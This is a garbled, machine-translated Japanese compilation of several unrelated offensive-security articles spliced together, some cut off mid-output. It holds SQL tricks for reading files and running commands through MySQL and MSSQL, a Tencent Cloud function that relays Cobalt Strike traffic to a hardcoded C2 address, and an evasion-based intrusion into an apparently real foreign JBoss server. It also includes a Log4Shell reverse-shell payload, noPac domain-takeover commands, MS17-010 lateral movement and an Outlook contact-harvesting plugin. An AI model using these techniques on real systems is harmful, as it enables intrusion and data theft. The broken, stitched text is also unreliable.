学習するためのより多くのクラウドセキュリティリソースを見つけたい場合は、現在100を超える国内および外国のクラウドセキュリティブログ、ツール、公式アカウント、その他のリソースが含まれているAwesome Cloud Security Projectにアクセスできます。プロジェクトアドレスは、https://github.com/teamssix/awesome-cloud-security(オペンズ新しいウィンドウ)です。

1049983-20230131225216312-1056046829.png

参照記事:https://Cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_ecs

元の接続:https://wiki.teamssix.com/cloudservice/ec2/aliyun-console-takeover.html

序文

サイトのサイト分離タイプについての議論を見ました。情報収集のヒントを要約したいと思います。

テキスト

ウェブサイトライブラリ分離タイプサイトにはまだ要約記事がないので、ウェブサイトライブラリ分離タイプサイトに関する浸透のアイデアを記録しようとします。

サイトライブラリ分離タイプサイトの場合、通常、2つの侵入エントリポイント:を持つことができます

1.Web Webサイト

2。データベースの浸透のアイデアは、実際には非常に一般的です。しかし、ここでは、2つのエントリポイントが2つのパスにすぎない場合。

イントラネットの浸透はWeb Webサイトから行われ、サイトデータベースから分離され、イントラネットの浸透はデータベースから行われ、サイトデータベースから分離され、イントラネットの浸透はサイトWebサイトから分離され、イントラネットの浸透は異なるパスに従って異なる浸透テスト計画にカスタマイズされます。次の記録では、プロセスと簡単な問題を記録します。

1。ウェブ入り口からの浸透

Webポータルから、通常、ファイルのアップロード、コマンド実行、コード実行、SQLインジェクションの書き込み(Outfile、Log Backupなど)など、Webサイトのさまざまな脆弱性を把握します。

Web許可を取得したり、ファイルの読み取りなどの脆弱性を持つ場合、データベース構成ファイルも読み取り、データベースコンテンツを分析し、データベースのバックアップを見つけてから、後続の操作のためにデータベースターゲットIPを侵入します。

2。データベースの入り口からの浸透

しかし、ここでは、データベースのエントリポイントが外部ネットワークによって公開された弱いパスワードをポイントすると言わざるを得ません。 Web WebサイトSQLインジェクション。

データベースの入り口からの普及は、主により大きな権限を取得するか、浸透結果を拡大することです。たとえば、データベースからパスワード情報、ユーザー名などを取得できます。これにより、その後のイントラネットの浸透に効果的に役立ちます。

サイトはサイトライブラリから分離されており、データベースとWebは同じサーバーにありません。現時点では、パスが役に立たないため、Webを介して接続するための文を書くことはできません。 WebサイドからSQLインジェクションが見つかった場合、情報を収集して、次の方法を使用してアクセス許可を取得できます。

1.mysql

(1)WebサイドIPアドレスの配置

Information_schemaライブラリのプロセスリストをクエリすることにより、MySQLの現在の接続ステータスを確認できます。 Webアプリケーションはクエリデータベース操作を生成するため、ターゲットのIP:portがエコーされたホストフィールドに戻されます。

select * from information_schema.processlist;

1049983-20230202132719974-1143668680.jpg WebエンドのIPを取得した後、Webエンドに浸透することができます。

(2)load_file()データベースが配置されているサーバーに関する機密情報を取得

secure_file_privパラメーター(mysql5.7以下)に制限がない場合、load_file()関数を使用してファイルコンテンツを読み取ることもできます。

select load_file( 'c:/test.txt');#left slash/

1049983-20230202132720758-2131279046.jpgは、読み取りなどのネットワークカード情報を取得することもできます。

/etc/udev/rules.d/70-persistent-net.rulesネットワークカード名を取得します。

/etc/sysconfig/network-scripts/ifcfg-netcard static ipdhcp if /var/lib/dhclient/dhclient - netcard.lease

2.mssql

(1)ステーションライブラリが分離されているかどうかを判断します

クライアントホスト名を取得する

host_name();を選択します。

サーバーホスト名を取得します

@@ servernameを選択します。

結果に基づいて分離されているかどうかを判断すると、同じ結果がサーバーと同じである可能性があり、同じ結果はサイトライブラリの分離です。

(2)ストアドプロシージャ実行コマンド

MSSQLストアドプロシージャを介してシステムコマンドを実行することができ、権限を直接エスカレートして他のホストに侵入しようとすることができます。

一般的に使用される2つ:

XP_CMDSHELLSP_OACREATEは、データベースサーバーがネットワークから外れているかどうかを検出し、PingまたはCurlを実行してネットワークから外れているかどうかを確認できます。通常、MSSQLに遭遇すると、コマンドの実行を通じて直接オンラインになります。

また、データベースでもあるため、当然、いくつかの機密情報が含まれています。さらに浸透するために、パスワードブックまたはその他の情報を整理できます。

まず、Tencent Cloudにログインし、クラウド機能を有効にする必要があります。

Tencent Cloudにログインした後、クラウド機能を検索します。開けるだけです。m4bjeztln2u3472.png

最初にログインし、承認が必要です。

コンソールにログインしたら、[作成]をクリックします。bnkltpxczhs3473.png

関数名は無料で、ゼロから開始することを選択し、環境でPython 3.6を入力し、選択した後に引き下げて、コードを内部に置きます。fbvhiriazsv3474.png

次のコードをコピーして、サーバーアドレスを変更します。

#Coding: UTF8

JSON、リクエスト、Base64をインポートします

def main_handler(イベント、コンテキスト):

応答={}

パス=なし

ヘッダー=なし

try:

C2='http://43.134.164.72:80'

event.keys():の「パス」の場合

path=event ['path']

event.keys():の「ヘッダー」の場合

ヘッダー=イベント['ヘッダー']

event.keys()およびevent ['httpmethod']=='get' :の場合は 'httpmethod'の場合

resp=requests.get(c2+path、headers=headers、verify=false)

else:

resp=requests.post(c2+path、data=event ['body']、headers=headers、firem=false)

印刷(resp.headers)

印刷(resp.content)

応答={

'isbase64encoded': true、

'StatusCode': resp.status_code、

'Headers ': dict(resp.headers)、

'body': str(base64.b64encode(resp.content))[2:-1]

}

E:としての例外を除く

印刷( 'エラー')

印刷(e)

最後に:

返信応答

b2vrexoa4xx3475.png

終了したら、[保存]をクリックしてください!

次に、[トリガー管理]をクリックしてトリガーを作成します

フォーマットは次のように1zf5c2k4vq53476.pngです

API名をクリックして編集し、このページに到着します。パスは /efvxbijzjv23477.pngに変更されます

クリックして、完了後にサービスを公開します

win_tecent_cloud_func.profileという名前のC2のプロファイルファイルを追加しました

SAMPLE_NAME 'T'を設定します。

Sleeptime '3000'を設定します。

Jitter '0'を設定します。

Maxdns '255'を設定します。

set useragent 'mozilla/5.0(互換; msie 8.0; windows nt 6.1; trident/5.0)';

http-get {

set uri '/api/x';

クライアント {

ヘッダー「Accept」*/*';

メタデータ{

base64;

prepend 'sessionid=';

ヘッダー「クッキー」;

}

}

サーバー{

ヘッダー「コンテンツタイプ」 'アプリケーション/OCSP応答';

ヘッダー「コンテンツ転送エンコード」「バイナリ」。

ヘッダー「サーバー」 'nodejs';

出力{

base64;

印刷;

}

}

}

http-stager {

set uri_x86 '/vue.min.js';

set uri_x64 '/bootstrap-2.min.js';

}

http-post {

set uri '/api/y';

クライアント {

ヘッダー「Accept」*/*';

id {

base64;

'jsession=';

ヘッダー「クッキー」;

}

出力{

base64;

印刷;

}

}

サーバー{

ヘッダー「コンテンツタイプ」 'アプリケーション/OCSP応答';

ヘッダー「コンテンツ転送エンコード」「バイナリ」。

ヘッダー「接続」 'キープアリブ';

出力{

base64;

印刷;

}

}

}

保存後、CSディレクトリに保存します。

CSサーバーを起動します

./TeamServer VPSIP Admin12345 win_tecent_cloud_func.profile swbiudj4dnf3478.png

パブリックネットワークインターフェイスアドレスドメインクラウド関数のドメイン名をリスナーのHTTPホストとステイガーのホストに入力します

HTTPおよび80 mb4ft4dqmup3479.pngに注意してください

リスニング3xlpsjvijgl3480.pngを追加します

シェルを生成した後、正常に起動されました。78.png元のテキスト接続:https://Blog.bbskali.cn/3771.html

ツールの準備

jexboss

Kali Linux

CS 4.3

Windows Killer Onlineクエリ1

Windows Killer Onlineクエリ2

Windows Killer Onlineクエリ3

fscan

タイドシェルコード無料キル

lstar

Cobaltstrike用のその他のプラグイン

PEASS-NG

printspoofer

屋外インターネットサービス

1。イントラネットの水平方向を練習するために、外国のサイトに静かに焦点を当てる

2。JBossのWebサイトには、Deserializationの脆弱性があることがわかりました。はい、jexbossを正常に使用することはできません。

python jexboss.py -u https://xx.xx.xx/3。 6人の兄弟による脱派化のための究極のテストツールに成功しました

1049983-20230215131239116-223537581.jpg

4.現在のユーザーWhoami、普通のユーザーを確認してください

1049983-20230215131240001-1805733217.jpg

5。IPアドレスIPConfigを確認します

1049983-20230215131240695-1226303758.png

6.キラータスクリスト /SVCがあるかどうかを確認します

1049983-20230215131241427-1688620320.jpg

7.クエリコンテンツをWindowsに貼り付けてソフトオンラインクエリを殺し、ソフトを殺していることを見つけます

1049983-20230215131242229-2119682491.png

8.サーバーがネットワークから外れているかどうかを確認してくださいwww.baidu.com、それは非常に良いです。サーバーはネットワーク外です

1049983-20230215131242947-720790428.jpg

csはオンライン

です

1。ソフトキーリングソフトウェアがあるため、バイパスすることを検討する必要があります。 CSトロイの木馬を直接アップロードすることは絶対に不可能です。今回は、GitHub上のPythonを使用してパッケージ化された多くのExeファイルが大きすぎて非常にゆっくりとアップロードされているため、Tideシェルコードは殺されません。

2。CSはC言語のシェルコードになります

1049983-20230215131243779-988047620.jpg

3.シェルコードコンテンツをTIDAL Webサイトにコピーし、生成されたexeをターゲットマシンにアップロードし、コマンドを実行します

c: \\ usr \\ desarrollo \\ jboss-5.1.0.ga \\ server \\ sigameserver \\ deploy \\ root.war \\ tideav-go1-2023-02-04-10-31-21-221261.exe tide

1049983-20230215131244506-1032424649.jpg

4。CSが正常に起動されます

1049983-20230215131245276-813131303.jpg

許可強化

情報収集

1。現在のユーザーと特権を表示します

おっと

おっと /priv

1049983-20230215131246068-433870973.jpg

2。システムバージョンとパッチ情報を表示します

SystemInfo

1049983-20230215131246951-13416048.jpg

nombre de host: ameprowebegad

Nombre del Sistema OperatingVO: Microsoft Windows 10 Pro

Versi¢n Del Sistema Operativo: 10.0.19044 N/D Compilaci¢n 19044

Fabricante del Sistema OperatingVO: Microsoft Corporation

configuraci¢n del sistema operativo: estaci¢n de trabajo miembro

Tipo de compilaci¢n del sistema operativo:マルチプロセッサ無料

Propiedad de: appzusr

organaCi¢n Registadada:

id。 Del Producto: 00331-10000-00001-AA727

fecha de instalaci¢n original3: 13/5/2022、14336003:47

Tiempo de Arranque del Sistema: 1/2/2023、16336050336029

Fabricante del Sistema: VMware、Inc。

Modelo El Sistema: VMware仮想プラットフォーム

Tipo de sistema: x64ベースのPC

Procesador(ES): 2 Procesadores Instalados。

[01] : Intel64ファミリー6モデル85ステッピング7純粋なインテル〜2494 MHz

[02] : Intel64ファミリー6モデル85ステッピング7純粋なインテル〜2494 MHz

Versi¢n del Bios: Phoenix Technologies Ltd 6.00、12/11/2020

Directorio de Windows: C: \ Windows

Directorio de Sistema: C: \ Windows \ System32

dispuritivo de arranque: \ device \ harddiskvolume1

Configuraci¢n Regional Del Sistema: EZS-MX;ESPA¤ol(Mlyxico)

Idioma de entrada: es-mx;espa¤ol(menxico)

Zona Horaria:(UTC-06:00)Guadalajara、Ciudad de M、Menxico、Monterrey

Cantidad Total De Memoriaf¡sica:4.095 Mb

Mememeiaf¡sicadisonible: 1.201 Mb

MEMERIA VIRTUAL:TAMA配M XIMO: 4.799 MB

MEMERIA VIRTUAL: DISPONIBLE: 1.147 MB

MEMERIA VIRTUAL: EN USO: 3.652 MB

ubicaci¢n(es)de archivo de paginaci¢n: c: \ pagefile.sys

dominio: ame.local

Servidor de inicio de sesi¢n: \\ ameprowebegad

revisi¢n(es): 4 revisi¢n(es)instaladas。

[01] : KB5004331

[02] : KB5003791

[03] : KB5006670

[04] : KB5005699

Tarjeta(s)de Red: 1 Tarjetas de Interfaz de Red Instaladas。

Z [01] : Intel(R)Pro/1000 MTネットワーク接続

nombre de conexi¢n: ethernet0

DHCP Habilitado: no

Direcciones IP

[01] : 172.16.2.100

[02] : FE80:591:AE09:EEE1:888E

Hyper-V: se extect¢un hippervisorが必要です。 No se mostr n lascaracter¡sticas必要なパラhyper -v.3、オープンポートサービスnetstat -anoを表示

Conexiones activas

Proto direcci¢n local direcci¢n Remota estado pid

TCP 0.0.0.03360135 0.0.0.0:0リスニング600

TCP 0.0.0.03360445 0.0.0.0:0リスニング4

TCP 0.0.0.033601090 0.0.0.0:0リスニング7600

TCP 0.0.0.033601098 0.0.0.0:0リスニング7600

TCP Z 0.0.0.033601099 0.0.0.0:0リスニング7600

TCP 0.0.0.033603389 0.0.0.0:0リスニング1072

TCP 0.0.0.033603873 0.0.0.0:0リスニング7600

TCP 0.0.0.033604444 0.0.0.0:0リスニング7600

TCP 0.0.0.03360445 0.0.0.0:0リスニング7600

TCP 0.0.0.033604446 0.0.0.0:0リスニング7600

TCP 0.0.0.03360457 0.0.0.0:0リスニング7600

TCP 0.0.0.033604712 0.0.0.0:0リスニング7600

TCP 0.0.0.033604713 0.0.0.0:0リスニング7600

TCP 0.0.0.033605040 0.0.0.0:0リスニング6652

TCP 0.0.0.0:5985 0.0.0.0:0リスニング4

TCP 0.0.0.033607070 0.0.0.0:0リスニング3564

TCP 0.0.0.0:8009 0.0.0.0:0リスニング7600

TCP 0.0.0.033608080 0.0.0.0:0 Zリスニング7600

TCP 0.0.0.033608083 0.0.0.0:0リスニング7600

TCP 0.0.0.0336046305 0.0.0.0:0リスニング7600

TCP 0.0.0.0336047001 0.0.0.0:0リスニング4

TCP 0.0.0.0336049664 0.0.0.0:0リスニング832

TCP 0.0.0.0336049665 0.0.0.0:0リスニング680

TCP 0.0.0.0336049666 0.0.0.0:0リスニング1416

TCP 0.0.0.0336049667 0.0.0.0:0リスニング1612

TCP 0.0.0.0336049668 0.0.0.0:0リスニング2452

TCP 0.0.0.0336049671 0.0.0.0:0リスニング832

TCP 0.0.0.0336049672 0.0.0.0:0リスニング3404

TCP 0.0.0.0336049704 0.0.0.0:0リスニング820

TCP 0.0.0.0336049708 0.0.0.0:0リスニング3048

TCP 0.0.0.0336051407 0.0.0.0:0リスニング7600

TCP 127Z.0.0.0.1:5140 0.0.0.0:0リスニング7172

TCP 127.0.0.1:51411 0.0.0.0:0リスニング7600

TCP 172.16.2.2.100:139 0.0.0.0:0リスニング4

TCP 172.16.2.2.100:8080 172.16.12.34:42602 Time_Wait 0

TCP 172.16.2.2.100:8080 172.16.12.34:42610確立された7600

TCP 172.16.2.100:8080 172.16.12.34336055672 Time_Wait 0

TCP 172.16.2.2.100:8080 172.16.12.34:55686 Time_Wait 0

TCP 172.16.2.2.100:49717 38.90.226.62:8883確立3576

TCP 172.16.2.2.100:50848 172.16.2.2.100:51407 TIME_WAIT 0

TCP 172.16.2.2.100:51413 172.16.2.2.19033601433確立された7600

TCP 172.16.2.2.100:51447 172.16.2.2.19033601433確立された7600

TCP 172.16.2.2.100:56063 172.16.2.11:2222確立3576

TCP 172.16.2.2.100:56538 92.223.66.483360443確立された3564

TCP [:] :135 [:] :0リスニングインズ600

TCP [:] :445 [:] :0リスニング4

TCP [:] :1090 [:] :0リスニング7600

TCP [:] :1098 [:] :0リスニング7600

TCP [:] :1099 [:] :0リスニング7600

TCP [:3360] :3389 [:] :0リスニング1072

TCP [:3360] :3873 [:] :0リスニング7600

TCP [:] :4444 [:] :0リスニング7600

TCP [:] :4445 [:] :0リスニング7600

TCP [:] :4446 [:] :0リスニング7600

TCP [:] :4457 [:] :0リスニング7600

TCP [:] :4712 [:] :0リスニング7600

TCP [:] :4713 [:] :0リスニング7600

TCP [:3360] :5985

0x01はじめに

これは、Outlookユーザー情報の収集のためのげっぷプラグインです。 Outlookアカウントにログインした後、これを使用できます。

プラグインは、すべての連絡先情報を自動的にクロールします

0x02インストール

バープエクステンションパネルに瓶をロードするだけ

0x03関数はじめに

1.すべてのユーザー

プラグインをロードした後、Outlook連絡先パネルを入力して、すべてのユーザーをクリックします

1049983-20230217095754648-934138006.jpg

プロキシ-HTTP History Filter APIインターフェイスでのAPIインターフェイス

/wa/service.svc?action=findpeopleapp=people

1049983-20230217095755615-1407529720.jpg

リクエストを選択して、メニュー拡張機能を右クリックします-Outlook情報コレクション - Ooutlookメールスキャンを行います

1049983-20230217095756527-258145748.png

スキャンの進行状況は、エクステンダー - 拡張機能- Outlook Information Collection-出力に表示されます

1049983-20230217095757297-634296044.png

プラグインは、すべてのパケットを自動的にクロールし、各リクエスト応答パッケージを表示できるディレクトリツリーを生成します。

1049983-20230217095758096-92972468.jpg

リクエストを右クリックすると、右クリックメニューが表示され、すべてのユーザーメールを取得してすべてのメールを取得します。

1049983-20230217095758848-1201452255.jpg 1049983-20230217095759742-1384183711.jpg

2。注意

このAPIには、同じURLと異なるポスト提出パラメーターが多数あります。間違ったAPIインターフェイスを選択すると、ポップアッププロンプトがあります。

1049983-20230217095800733-584994050.jpg 1049983-20230217095801761-820625906.jpg 010-10すべてのユーザーのすべてのパケットは、正常に使用するためにロードする必要があります。連絡先情報は、すべてのユーザーパケット情報に基づいています。最初のステップが実行されない場合、ポップアップリマインダーがあります。

1049983-20230217095802597-563015457.jpg

プロキシ-HTTP History Filter APIインターフェイスでのAPIインターフェイス

/wa/service.svc?action=getpersonaapp=people

1049983-20230217095803597-1431839783.jpg

リクエストを選択して、メニュー拡張機能を右クリックします-Outlook情報コレクション - Ooutlookメールスキャンを行います

1049983-20230217095804404-1030562578.png

スキャンの進行状況は、エクステンダー - 拡張機能- Outlook Information Collection-出力に表示されます

1049983-20230217095805256-542719959.jpg

プラグインは、すべてのパケットを自動的にクロールし、各リクエスト応答パッケージを表示できるディレクトリツリーを生成します。

1049983-20230217095806159-1229654401.jpg

リクエストを右クリックすると、右クリックメニューが表示され、すべてのユーザー個人情報を取得してすべての連絡先情報を取得します。

1049983-20230217095807230-1070577141.jpg 1049983-20230217095808001-189242314.jpg取得するツール:公式アカウント返信キーワード「Outlook」

ネットワークトポロジー

1049983-20230224112439293-1629704471.png

情報収集

侵入テストの最初のステップはもちろん情報収集です

IP192.168.81.151を取得し、最初にNMAPを使用して通常のTCPポートをスキャンします。

NMAP -V -PN -T3 -SV -N -ST-OPEN -P 22,1222,222,222345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,500 0,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080,38080. 192.168.81.151

2つのポート22,38080が開いていることがわかりました

1049983-20230224112440302-161893427.png

NMAPを通じて、これはUbuntuであり、22はSSHであり、ポート38080は不明であることがわかります。アクセスしてみましょう。

1049983-20230224112441015-1606254674.png

そこで、最新の新しい脆弱性CVE-2021-44228を試して、dnslogを取得できるかどうかを確認しました

1049983-20230224112441754-989805708.png

CVE-2021-44228の脆弱性が見つかりました。シェルを取得してみてください

CVE-2021-44228利用

VPS Kali(192.168.81.133)でLDAPを最初に有効にします:

git clone 3https://github.com/black9/log4shell_jndiexploit.git

Java -jar jndiexploit -1.2 -snapshot.jar -i 192.168.81.133

1049983-20230224112442401-1799288793.png

その後、Kaliの9999ポートで聞いてください。

1049983-20230224112443129-1120562669.png

リバウンドシェルにはtomcatbypassを使用します

1049983-20230224112443857-1816671400.png

/bin/bash -i /dev/tcp/192.168.210.23/9999 01 -Bounce Shell

リバウンドシェルコマンドには、base64エンコーディングが必要です

1049983-20230224112444657-150046970.jpg

BPパケットキャプチャ、パラメーター送信の投稿への変更、ペイロードの構築

ペイロード=$ {jndi3:ldap3360 //192.168.81.1:1389/tomcatbypass/command/base64/ymfzaCatasa+jiavzgv2l3rjcc8xotiumty4ljgxljezmy85otk5ida+jje+

最後に、EXPを使用してシェルを正常にリバウンドします。 base64エンコードを実行するために2回Encodingを実行する必要があります

1049983-20230224112445349-1880270644.png

1049983-20230224112446035-2093462483.png

私が手に入れたシェルはDockerコンテナであることがわかりました

私は逃げる方法を見つけられず、最終的に/root /ディレクトリでフラグファイルを見つけました。

1049983-20230224112446659-1582184670.png

flag {redteam.lab-1}おめでとうございます、あなたはこの: Saul Saul123を手に入れました

フラグがあり、アカウントのパスワードに似たものがありました

情報収集中、NMAPはターゲットホストにスキャンして22SSHサービスを開きますので、SSHになる可能性のあるアカウントパスワードについて考えてください

イントラネット情報コレクション

前のセクションで取得したアカウントとパスワードを介してUbuntuシステムにログイン

1049983-20230224112447319-361521344.png

現在のマシンには2つのネットワークカードがあり、1つは外部ネットワークをリンクするために使用され、もう1つのENS38がイントラネットの通信に使用されていることがわかります。

1049983-20230224112448090-1276995160.png

実際のイントラネットの浸透:イントラネットの浸透がLinux環境にある場合は、Linuxが完全に構築されているため、すべてのバッシュとPythonizationを形成してみてください。外部ツールにあまり頼らないようにしてください。

したがって、ENS38のCセグメントネットワークをpingするには、for loopを使用します

10.0.1。{1.254}のIの場合ping -c 3 -w 3 $ i /dev /nullの場合は行います。次に、echo $はターゲットを見つけます。 fi;終わり

1049983-20230224112449171-1244750120.png

イントラネットに別のマシン10.0.1.7があることがわかりました

または、スキャン情報ツールを使用して、イントラネット情報を収集します

KaliでPythonを使用してHTTPDをすばやく構築します

在这里插入图片描述

ターゲットマシンのダウンロードツールと付与権限

在这里插入图片描述

イントラネット情報を収集します

在这里插入图片描述

10.0.1.7は生き残ることがわかっており、MS17-010で存在していました

その後、便利なため、FRPを使用して現在のマシンのトラフィックをプロキシすることにしました。

frps.iniを構成します

1049983-20230224112453151-2127359350.png

frpc.iniを構成します

1049983-20230224112453875-703136445.png

次に、Metasploitを使用してSocks5をセットアップして、イントラネットに関する詳細な情報を収集します。

setg Proxies socks5:192.168.81.13:8888setg ReverseAllowProxy true

1049983-20230224112454590-999174959.png

SMBバージョン検出モジュールを使用して、ターゲットをスキャンします。

補助/スキャナー/SMB/SMB_Versionを使用します

1049983-20230224112455381-1095096075.png

ターゲットバージョン10.0.1.7はWindows 7であり、ドメインRedTeamが存在することがわかりました。

Windows7であるため、MS17-010の脆弱性がある可能性があります

MS17-010利用

前のセクションを通じて、10.0.1.7がWin7であることがわかり、その後、検出を実施します。

1049983-20230224112456243-449342750.png

検出を通じて、このマシンにMS17-010の脆弱性があることがわかりました。

ターゲットは、イントラネットが必ずしもネットワークを離れるわけではないため、TCP反射接続を使用できません。フォワードbind_tcpにペイロードするように設定します

1049983-20230224112457059-1616668651.png

1049983-20230224112458087-1589219523.png

win7アクセス許可を直接取得し、mimikatazをロードしてパスワードを取得します

ユーザー名ドメインパスワードルートレッドチームRED12345METERPRETER LOADMIMIKATZロードツール

MeterPreter Creds_Allはクレジットをリストします

コマンドは、メモリからパスワードを取得することであり、射撃範囲の元の状態が一時停止され、復元されることに注意してください。再起動する場合は、Win7に1回ログインする必要があります。

1049983-20230224112459386-400238020.png

この時点で、ドメインユーザーのアカウントを取得しました。

イントラネット武器CVE-2021-42287、CVE-2021-42278

現在のイントラネットに関する情報を収集した後、Win7にはイントラネットネットワークカードもあることがわかりました。

1049983-20230224112500181-544535760.png

1049983-20230224112500885-1700250183.png

ドメインコントロールからドメインコントロールへのIPアドレスは10.0.0.12です

1049983-20230224112501591-641415294.png

2つのドメインの脆弱性が最近公開されているため、CVE-2021-42287およびCVE-2021-42278は、それらを直接搾取しようとします。

特定の原則は、ドメインにドメインコントロール名DCがある場合(ドメインコントロールに対応するマシンユーザーはDC)、攻撃者は脆弱性CVE-2021-42287を使用してマシンユーザーSaulgoodmanを作成し、MachineユーザーのSamacountnameをDCに変更します。次に、DCを使用してTGT請求書を申請します。次に、DC SamacCountNameをSamacCountNameに変更します。現時点では、KDCはドメインにDCとこのユーザーが存在しないことを判断し、DCを自動的に検索します(DCはドメインに既にドメインに既に制御されたDCのSamacCountNameです)。攻撃者は、S4U2Selfに適用したばかりのTGTを使用し、ドメイン内のドメインマネージャーをシミュレートしてドメイン制御DCのSTチケットを要求し、最後にドメインコントローラーDCの権限を取得します。

したがって、MSFを使用してSocks5を追加します

1049983-20230224112502321-1486248533.png

ルートを追加します

Autoroute -S 10.0.0.7/24を実行します

1049983-20230224112503034-1970568292.png

次に、ローカルプロキシを追加するだけです

1049983-20230224112503650-1212863661.png

ツールを使用してアドレスをダウンロードします

https://github.com/wazehell/sam-the-admin

https://github.com/ridter/nopac

https://github.com/waterrr/nopac

次に、スクリプトを使用します

proxychains python3 sam_the_admin.py 'redteam.lab/root:red12345' -dc -ip 10.0.0.12 -shell proxychains python nopac.py redteam.lab/root3:'red12345 '-dc -0.0.0.0.0.0.0.0.0.0.0.0.0.0.0. -use -ldapproxychains python3 exp.py 'redteam/root:red12345' -dc -ip 10.0.0.12 -shell

1049983-20230224112504432-1322113048.png

最後に、私は最終フラグを取得しました。

1049983-20230224112505200-132523298.png

ターゲットマシン環境:リンク: https://pan.baidu.com/s/18pxdc2ff_zdsxonpsug1fyg抽出コード: 8dcyオリジナルリンク: http://WWW.KRYST4L.CN/2021/12/22/%E4%BB%8E%E5%A4%96%E7%BD%91-LOG4J2-RCE-%A5%86%8D%E5%88%B0%E5%86歳%E5%BC%B9%E7%BB%84%E5%90%88%E6%8B%B3%E6%BC%8F%E6%E3%9E-CVE-2021-42287%

つまり、最後の復号化の後、開発チームはあきらめませんでした。数ヶ月後、返品パッケージも暗号化されました。圧縮および難読化されたフロントエンドJS

mt2qoorxxec3257.png

観察によると、最初はサーバーが同じRSA+AES暗号化を実行し、RSA暗号化された後にキーとIVを送信し、AESによってAESによって暗号化されたデータフィールドを送信することも当初考えられています。しかし、私たちにとって、これは実際にシステムへのs辱を増し、システムのセキュリティを減らします。これにより、フロントエンドがRSA+AESを復号化できるため、RSA秘密キーは間違いなくフロントエンドに存在します!

操作を開始1。古いルールでencryptivフィールドを検索し、疑わしい復号化された部分を見つけ、ブレークポイントを押してログインリクエストを送信します

ke1cz1ztqa53258.png

バープはパケットをつかみ、パケットを返し、データフィールドを抽出します

ql5trj32zlb3259.png

ブレークポイントでRSAによって復号化されたAEのキーとIVの値を抽出します

5tkck4galmp3260.png

nとaをフロントエンドのブレークポイントからキーとして、ivをGuigui JSデバッグツールに入れて、復号化を試みます。復号化は成功しているため、このアイデアに問題はありません。つまり、ここでのコードは、サーバーからencryptivとencryptkeyを元のキーとAEのオフセットに復号化します。

wdgotjhmbqp3261.png

2。復号化コードによると、RSA秘密キー(p.D)を見つけ、ディスプレイは不完全です。 Ctrl+Fをコピーして、完全なRSA秘密キーを検索します。

10akwvpqcqf3262.png

jsencrypt.jsスクリプトを使用して、エラーを解読して見つけます。その理由は、元のJSがブラウザのウィンドウとナビゲーターメソッドを呼び出すからです。これら2つは、ブラウザウィンドウ情報とマウスの位置情報を取得して乱数を生成するために使用されます

grr51nyoour3263.png

335cqcgs1vk3264.png

検索を通じて、誰かが最初に元のJSENCRYPTを変更し、ウィンドウとナビゲーターの方法を削除して使用したことがわかりました。投稿アドレス:https://bbs.125.la/forum.php?mod=viewthreadtid=14113049

dbwzpfgekl53265.png

Guigui JSを使用したデバッグ

xymuu5ofvmi3266.png

3.最後のステップは、自動暗号化と復号化スクリプトの書き込みを改善することです。古いルールは、依然としてmitmweb+burpの組み合わせです。ブラウザは最初にげっぷをし、次にPythonスクリプトを実行するためにMITMWEBに二次プロキシを燃やし、次にサーバーに送信します。一般的なアイデアは次のとおりです。

xvnrr3jsubi3268.png

実際、私は90%が完成し、残りの10%が自動化されたスクリプトを書くために書かれていると思いました。その結果、JSの復号化への呼び出しが成功しなかった理由のために、この10%が数日かかりました。その後、それは解決され、一般的に言えば、AESアルゴリズムJS、およびPythonと関係があります。この大きなピットについて詳細に説明することができます。今日この部分をスキップしてください。

最後に、最後のスクリプトで、フロントエンドの復号化をキャンセルするコードとMITMWEBへのコードをキャンセルして、応答を復号化するのに役立ちました。

1049983-20230227143700492-387396060.jpg

デバッグは成功し、げっぷは快適で、プロセス全体が明確でした。

1049983-20230227143701198-922955987.jpg

ちなみに、ハァッ?検証コードハハハでフロントエンドに戻るリスクの高い脆弱性を見つけました。しかし、私は親切です。この暗号化と復号化はしばらく解決されないので、今は金曜日ですので、それを開発と呼び、来週の月曜日に脆弱性を修正しましょう。次回まで特定の新しいコードパーツを離れましょう。この大きなピットを復号化するときは、AESと一緒に話しましょう。

序文

攻撃的で防御的なドリル中に、チームは最初にウェブシェルを取得し、次にコバルトストライクへの許可をバウンドして、イントラネットの浸透を促進します。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】現在のマシンがパブリックネットワークサーバーであることを発見することにより、パブリックネットワークIP:xxx.xxx.xxx.16のみが

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】 ARPキャッシュを表示することにより、現在いくつかのパブリックネットワークマシンがあることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

これらのIPSを照会することにより、それは「ネットワーク」であることがわかり、NBTSCANを介して、現在のCセグメントには生存するホストがあることがわかります:(現在のCセグメントマシンにはドメインがあると判断されますが、確かではありません)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

内部イントラネットマシンの現在の最初の層のCセグメントを水平に移動

攻撃的で防御的なドリルであるため、ポイントが多いほど良いです。ここでは他の問題を考慮していません。現在のマシンを取得した後、私は平文パスワードをキャッチしました:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】ただし、このパスワードを使用してMSFを使用してパスワードを介してCセグメントをスプレーすると、ホストが正常に水平になっていないことがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

この瞬間、私は再びスキャンしてMS17010があるかどうかを確認しました:(一般的に言えば、この種の「Xiang.com」には基本的にいくつかの永遠の青があるので、スキャンするだけです)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

3つのユニット92、151、および200がMS17010に存在することがわかりました。その後、このユニットを92と呼びます。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、MSFとCSがリンクされ、MSFシェルを再度CSにポップし、許可を維持しました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

現時点では、これら2つのスプリングボードマシンを使用するだけで十分です。他の2つのMS17010と戦う必要はありません。次に、現在のCセグメントに関する情報を収集し、Webアセットをスキャンして生き残り、多数のWebアセットを見つけました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】手動分析により、SQL注入が見つかりました、そしてそれはDBAの許可でした:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、管理者ユーザーが追加されてから3389をオンにしました(Nortonのため、定期的な無料キルのために時間がないので、主にポイントを獲得したので、サーバーに直接ログインしました)

